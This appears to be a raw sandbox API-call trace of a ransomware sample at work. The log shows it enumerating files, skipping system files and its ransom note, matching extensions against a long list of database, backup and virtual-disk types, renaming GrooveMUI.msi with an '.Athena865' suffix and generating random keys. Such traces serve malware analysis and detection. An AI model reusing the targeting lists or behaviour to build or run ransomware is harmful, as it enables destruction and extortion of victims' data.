0x52dfb8 [0058.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0058.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0058.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0058.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0058.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0058.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0058.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0058.707] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0058.726] CloseHandle (hObject=0x17c) returned 1 [0058.726] CloseHandle (hObject=0x154) returned 1 [0058.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0058.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0058.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0058.735] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2=".") returned 1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="..") returned 1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="windows") returned -1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="bootmgr") returned 1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="temp") returned -1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="pagefile.sys") returned -1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="boot") returned 1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="ids.txt") returned -1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="ntuser.dat") returned -1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="perflogs") returned -1 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2="MSBuild") returned -1 [0058.735] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0058.735] lstrcpyW (in: lpString1=0x241e8c6, lpString2="GrooveMUI.msi" | out: lpString1="GrooveMUI.msi") returned="GrooveMUI.msi" [0058.735] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0058.735] lstrlenW (lpString="Athena865") returned 9 [0058.735] lstrcmpiW (lpString1="veMUI.msi", lpString2="Athena865") returned 1 [0058.735] lstrlenW (lpString=".dll") returned 4 [0058.735] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2=".dll") returned 1 [0058.735] lstrlenW (lpString=".lnk") returned 4 [0058.736] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2=".lnk") returned 1 [0058.736] lstrlenW (lpString=".ini") returned 4 [0058.736] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2=".ini") returned 1 [0058.736] lstrlenW (lpString=".sys") returned 4 [0058.736] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2=".sys") returned 1 [0058.736] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0058.736] lstrlenW (lpString="bak") returned 3 [0058.736] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0058.736] lstrlenW (lpString="ba_") returned 3 [0058.736] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0058.736] lstrlenW (lpString="dbb") returned 3 [0058.742] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0058.742] lstrlenW (lpString="vmdk") returned 4 [0058.742] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0058.742] lstrlenW (lpString="rar") returned 3 [0058.742] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0058.743] lstrlenW (lpString="zip") returned 3 [0058.743] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0058.743] lstrlenW (lpString="tgz") returned 3 [0058.743] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0058.743] lstrlenW (lpString="vbox") returned 4 [0058.743] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0058.743] lstrlenW (lpString="vdi") returned 3 [0058.743] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0058.743] lstrlenW (lpString="vhd") returned 3 [0058.743] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0058.743] lstrlenW (lpString="vhdx") returned 4 [0058.743] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0058.743] lstrlenW (lpString="avhd") returned 4 [0058.743] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0058.743] lstrlenW (lpString="db") returned 2 [0058.743] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0058.743] lstrlenW (lpString="db2") returned 3 [0058.743] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0058.743] lstrlenW (lpString="db3") returned 3 [0058.743] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0058.743] lstrlenW (lpString="dbf") returned 3 [0058.743] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0058.743] lstrlenW (lpString="mdf") returned 3 [0058.743] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0058.743] lstrlenW (lpString="mdb") returned 3 [0058.743] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0058.743] lstrlenW (lpString="sql") returned 3 [0058.743] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0058.743] lstrlenW (lpString="sqlite") returned 6 [0058.743] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0058.743] lstrlenW (lpString="sqlite3") returned 7 [0058.743] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0058.744] lstrlenW (lpString="sqlitedb") returned 8 [0058.744] lstrcmpiW (lpString1="eMUI.msi", lpString2="sqlitedb") returned -1 [0058.744] lstrlenW (lpString="xml") returned 3 [0058.744] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0058.744] lstrlenW (lpString="$er") returned 3 [0058.744] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0058.744] lstrlenW (lpString="4dd") returned 3 [0058.744] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0058.744] lstrlenW (lpString="4dl") returned 3 [0058.744] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0058.744] lstrlenW (lpString="^^^") returned 3 [0058.744] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0058.744] lstrlenW (lpString="abs") returned 3 [0058.744] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0058.744] lstrlenW (lpString="abx") returned 3 [0058.744] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0058.744] lstrlenW (lpString="accdb") returned 5 [0058.744] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0058.744] lstrlenW (lpString="accdc") returned 5 [0058.744] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0058.744] lstrlenW (lpString="accde") returned 5 [0058.744] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0058.744] lstrlenW (lpString="accdr") returned 5 [0058.744] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0058.744] lstrlenW (lpString="accdt") returned 5 [0058.744] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0058.744] lstrlenW (lpString="accdw") returned 5 [0058.744] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0058.744] lstrlenW (lpString="accft") returned 5 [0058.744] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0058.744] lstrlenW (lpString="adb") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0058.745] lstrlenW (lpString="adb") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0058.745] lstrlenW (lpString="ade") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0058.745] lstrlenW (lpString="adf") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0058.745] lstrlenW (lpString="adn") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0058.745] lstrlenW (lpString="adp") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0058.745] lstrlenW (lpString="alf") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0058.745] lstrlenW (lpString="ask") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0058.745] lstrlenW (lpString="btr") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0058.745] lstrlenW (lpString="cat") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0058.745] lstrlenW (lpString="cdb") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0058.745] lstrlenW (lpString="ckp") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0058.745] lstrlenW (lpString="cma") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0058.745] lstrlenW (lpString="cpd") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0058.745] lstrlenW (lpString="dacpac") returned 6 [0058.745] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0058.745] lstrlenW (lpString="dad") returned 3 [0058.745] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0058.746] lstrlenW (lpString="dadiagrams") returned 10 [0058.746] lstrcmpiW (lpString1="oveMUI.msi", lpString2="dadiagrams") returned 1 [0058.746] lstrlenW (lpString="daschema") returned 8 [0058.746] lstrcmpiW (lpString1="eMUI.msi", lpString2="daschema") returned 1 [0058.746] lstrlenW (lpString="db-journal") returned 10 [0058.746] lstrcmpiW (lpString1="oveMUI.msi", lpString2="db-journal") returned 1 [0058.746] lstrlenW (lpString="db-shm") returned 6 [0058.746] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0058.746] lstrlenW (lpString="db-wal") returned 6 [0058.746] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0058.746] lstrlenW (lpString="dbc") returned 3 [0058.746] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0058.746] lstrlenW (lpString="dbs") returned 3 [0058.746] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0058.746] lstrlenW (lpString="dbt") returned 3 [0058.746] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0058.746] lstrlenW (lpString="dbv") returned 3 [0058.746] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0058.746] lstrlenW (lpString="dbx") returned 3 [0058.746] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0058.746] lstrlenW (lpString="dcb") returned 3 [0058.746] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0058.746] lstrlenW (lpString="dct") returned 3 [0058.746] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0058.746] lstrlenW (lpString="dcx") returned 3 [0058.746] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0058.746] lstrlenW (lpString="ddl") returned 3 [0058.746] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0058.746] lstrlenW (lpString="dlis") returned 4 [0058.746] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0058.746] lstrlenW (lpString="dp1") returned 3 [0058.746] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0058.747] lstrlenW (lpString="dqy") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0058.747] lstrlenW (lpString="dsk") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0058.747] lstrlenW (lpString="dsn") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0058.747] lstrlenW (lpString="dtsx") returned 4 [0058.747] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0058.747] lstrlenW (lpString="dxl") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0058.747] lstrlenW (lpString="eco") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0058.747] lstrlenW (lpString="ecx") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0058.747] lstrlenW (lpString="edb") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0058.747] lstrlenW (lpString="epim") returned 4 [0058.747] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0058.747] lstrlenW (lpString="fcd") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0058.747] lstrlenW (lpString="fdb") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0058.747] lstrlenW (lpString="fic") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0058.747] lstrlenW (lpString="flexolibrary") returned 12 [0058.747] lstrcmpiW (lpString1="rooveMUI.msi", lpString2="flexolibrary") returned 1 [0058.747] lstrlenW (lpString="fm5") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0058.747] lstrlenW (lpString="fmp") returned 3 [0058.747] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0058.747] lstrlenW (lpString="fmp12") returned 5 [0058.748] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0058.748] lstrlenW (lpString="fmpsl") returned 5 [0058.748] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0058.748] lstrlenW (lpString="fol") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0058.748] lstrlenW (lpString="fp3") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0058.748] lstrlenW (lpString="fp4") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0058.748] lstrlenW (lpString="fp5") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0058.748] lstrlenW (lpString="fp7") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0058.748] lstrlenW (lpString="fpt") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0058.748] lstrlenW (lpString="frm") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0058.748] lstrlenW (lpString="gdb") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0058.748] lstrlenW (lpString="gdb") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0058.748] lstrlenW (lpString="grdb") returned 4 [0058.748] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0058.748] lstrlenW (lpString="gwi") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0058.748] lstrlenW (lpString="hdb") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0058.748] lstrlenW (lpString="his") returned 3 [0058.748] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0058.748] lstrlenW (lpString="ib") returned 2 [0058.748] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0058.749] lstrlenW (lpString="idb") returned 3 [0058.749] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0058.749] lstrlenW (lpString="ihx") returned 3 [0058.749] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0058.749] lstrlenW (lpString="itdb") returned 4 [0058.749] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0058.749] lstrlenW (lpString="itw") returned 3 [0058.749] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0058.749] lstrlenW (lpString="jet") returned 3 [0058.749] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0058.749] lstrlenW (lpString="jtx") returned 3 [0058.749] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0058.749] lstrlenW (lpString="kdb") returned 3 [0058.749] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0058.749] lstrlenW (lpString="kexi") returned 4 [0058.749] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0058.749] lstrlenW (lpString="kexic") returned 5 [0058.749] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0058.749] lstrlenW (lpString="kexis") returned 5 [0058.749] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0058.749] lstrlenW (lpString="lgc") returned 3 [0058.749] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0058.749] lstrlenW (lpString="lwx") returned 3 [0058.749] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0058.749] lstrlenW (lpString="maf") returned 3 [0058.749] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0058.749] lstrlenW (lpString="maq") returned 3 [0058.749] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0058.749] lstrlenW (lpString="mar") returned 3 [0058.749] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0058.749] lstrlenW (lpString="marshal") returned 7 [0058.749] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0058.749] lstrlenW (lpString="mas") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0058.750] lstrlenW (lpString="mav") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0058.750] lstrlenW (lpString="maw") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0058.750] lstrlenW (lpString="mdbhtml") returned 7 [0058.750] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0058.750] lstrlenW (lpString="mdn") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0058.750] lstrlenW (lpString="mdt") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0058.750] lstrlenW (lpString="mfd") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0058.750] lstrlenW (lpString="mpd") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0058.750] lstrlenW (lpString="mrg") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0058.750] lstrlenW (lpString="mud") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0058.750] lstrlenW (lpString="mwb") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0058.750] lstrlenW (lpString="myd") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0058.750] lstrlenW (lpString="ndf") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0058.750] lstrlenW (lpString="nnt") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0058.750] lstrlenW (lpString="nrmlib") returned 6 [0058.750] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0058.750] lstrlenW (lpString="ns2") returned 3 [0058.750] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0058.750] lstrlenW (lpString="ns3") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0058.751] lstrlenW (lpString="ns4") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0058.751] lstrlenW (lpString="nsf") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0058.751] lstrlenW (lpString="nv") returned 2 [0058.751] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0058.751] lstrlenW (lpString="nv2") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0058.751] lstrlenW (lpString="nwdb") returned 4 [0058.751] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0058.751] lstrlenW (lpString="nyf") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0058.751] lstrlenW (lpString="odb") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0058.751] lstrlenW (lpString="odb") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0058.751] lstrlenW (lpString="oqy") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0058.751] lstrlenW (lpString="ora") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0058.751] lstrlenW (lpString="orx") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0058.751] lstrlenW (lpString="owc") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0058.751] lstrlenW (lpString="p96") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0058.751] lstrlenW (lpString="p97") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0058.751] lstrlenW (lpString="pan") returned 3 [0058.751] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0058.752] lstrlenW (lpString="pdb") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0058.752] lstrlenW (lpString="pdm") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0058.752] lstrlenW (lpString="pnz") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0058.752] lstrlenW (lpString="qry") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0058.752] lstrlenW (lpString="qvd") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0058.752] lstrlenW (lpString="rbf") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0058.752] lstrlenW (lpString="rctd") returned 4 [0058.752] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0058.752] lstrlenW (lpString="rod") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0058.752] lstrlenW (lpString="rodx") returned 4 [0058.752] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0058.752] lstrlenW (lpString="rpd") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0058.752] lstrlenW (lpString="rsd") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0058.752] lstrlenW (lpString="sas7bdat") returned 8 [0058.752] lstrcmpiW (lpString1="eMUI.msi", lpString2="sas7bdat") returned -1 [0058.752] lstrlenW (lpString="sbf") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0058.752] lstrlenW (lpString="scx") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0058.752] lstrlenW (lpString="sdb") returned 3 [0058.752] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0058.752] lstrlenW (lpString="sdc") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0058.753] lstrlenW (lpString="sdf") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0058.753] lstrlenW (lpString="sis") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0058.753] lstrlenW (lpString="spq") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0058.753] lstrlenW (lpString="te") returned 2 [0058.753] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0058.753] lstrlenW (lpString="teacher") returned 7 [0058.753] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0058.753] lstrlenW (lpString="tmd") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0058.753] lstrlenW (lpString="tps") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0058.753] lstrlenW (lpString="trc") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0058.753] lstrlenW (lpString="trc") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0058.753] lstrlenW (lpString="trm") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0058.753] lstrlenW (lpString="udb") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0058.753] lstrlenW (lpString="udl") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0058.753] lstrlenW (lpString="usr") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0058.753] lstrlenW (lpString="v12") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0058.753] lstrlenW (lpString="vis") returned 3 [0058.753] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0058.753] lstrlenW (lpString="vpd") returned 3 [0058.754] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0058.754] lstrlenW (lpString="vvv") returned 3 [0058.754] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0058.754] lstrlenW (lpString="wdb") returned 3 [0058.754] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0058.754] lstrlenW (lpString="wmdb") returned 4 [0058.754] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0058.754] lstrlenW (lpString="wrk") returned 3 [0058.754] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0058.754] lstrlenW (lpString="xdb") returned 3 [0058.754] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0058.754] lstrlenW (lpString="xld") returned 3 [0058.754] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0058.754] lstrlenW (lpString="xmlff") returned 5 [0058.754] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0058.754] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.Athena865") returned 86 [0058.754] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.athena865"), dwFlags=0x1) returned 1 [0058.755] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0058.755] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2507776) returned 1 [0058.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0058.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0058.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0058.756] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0058.756] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0058.756] 